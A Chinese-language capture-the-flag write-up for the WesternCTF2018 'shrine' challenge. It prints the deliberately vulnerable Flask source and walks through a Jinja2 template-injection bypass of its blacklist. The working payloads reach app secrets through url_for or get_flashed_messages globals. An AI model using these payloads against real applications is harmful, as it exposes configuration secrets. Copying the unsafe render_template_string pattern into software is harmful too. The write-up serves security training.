[WesternCTF2018]shrine(Jinja2模板注入)
首先判断出是Jinja2模板注入
判断方法 https://www.cnblogs.com/dghh/p/18307622
import flask
import os
# 创建一个 Flask 应用实例
app = flask.Flask(__name__)
# 从环境变量中读取 'FLAG' 并设置到应用配置中
app.config['FLAG'] = os.environ.pop('FLAG')
# 定义根路径('/')的路由
@app.route('/')
def index():
# 返回当前脚本的内容
return open(__file__).read()
# 定义 'shrine' 路径的路由
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# 定义一个安全处理 Jinja 模板的函数
def safe_jinja(s):
# 移除字符串中的圆括号,以减少攻击面的复杂度
s = s.replace('(', '').replace(')', '')
# 定义一个黑名单,包含 'config' 和 'self'
blacklist = ['config', 'self']
# 为黑名单中的每个词添加置空变量的 Jinja 语句
# 并在字符串前添加这些语句
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
# 渲染经过安全处理后的 Jinja 模板字符串
return flask.render_template_string(safe_jinja(shrine))
# 启动 Flask 应用
if __name__ == '__main__':
app.run(debug=True)
经过对代码的分析我们知道注册了一个名为FLAG的config,这应该就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号;
这个过滤并不是把‘config’,‘self’删除而是把这两个变量置为空
在python里,有许多内置函数,其中有一个 url_for ,其作用是给指定的函数构造 URL。配合globals(),该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果
https://blog.csdn.net/Drifter_Galaxy/article/details/116106315
先查看当前位置的全部全局变量
shrine/{{url_for.__globals__}}
current_app': <Flask 'app'>这里的current就是指的当前的app,这样我们只需要能查看到这个的config就可以看到flag了
方法如下
{% set config=None %} 和 {% set self=None %} 将 config 和 self 变量设置为 None,其目的是防止模板注入攻击中利用这些变量来访问敏感信息。
可以通过属性访问的方式绕过这种防御。例如,使用 url_for.globals['current_app'].config['FLAG'] 这样的表达式:
config:{{url_for.__globals__['current_app'].config['FLAG']}}
这里的 config 是一个路径而不是直接的变量引用。具体来说,这个表达式:
url_for: 通常在 Flask 应用中用于生成 URL。
globals: Flask 提供的全局对象。
current_app: 代表当前应用实例。
config: 当前应用的配置对象。
['FLAG']: 从配置对象中访问名为 FLAG 的配置项。
在这个表达式中,config 只是路径的一部分,而不是直接的变量引用。因此,即使您在模板中将 config 变量设置为 None,也不会影响这个路径的解析,因为这里的 config 并不是模板中的 config 变量,而是 current_app 对象的属性。
{{url_for.__globals__['current_app'].config['FLAG']}}
当然不用url_for也行
可以用get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}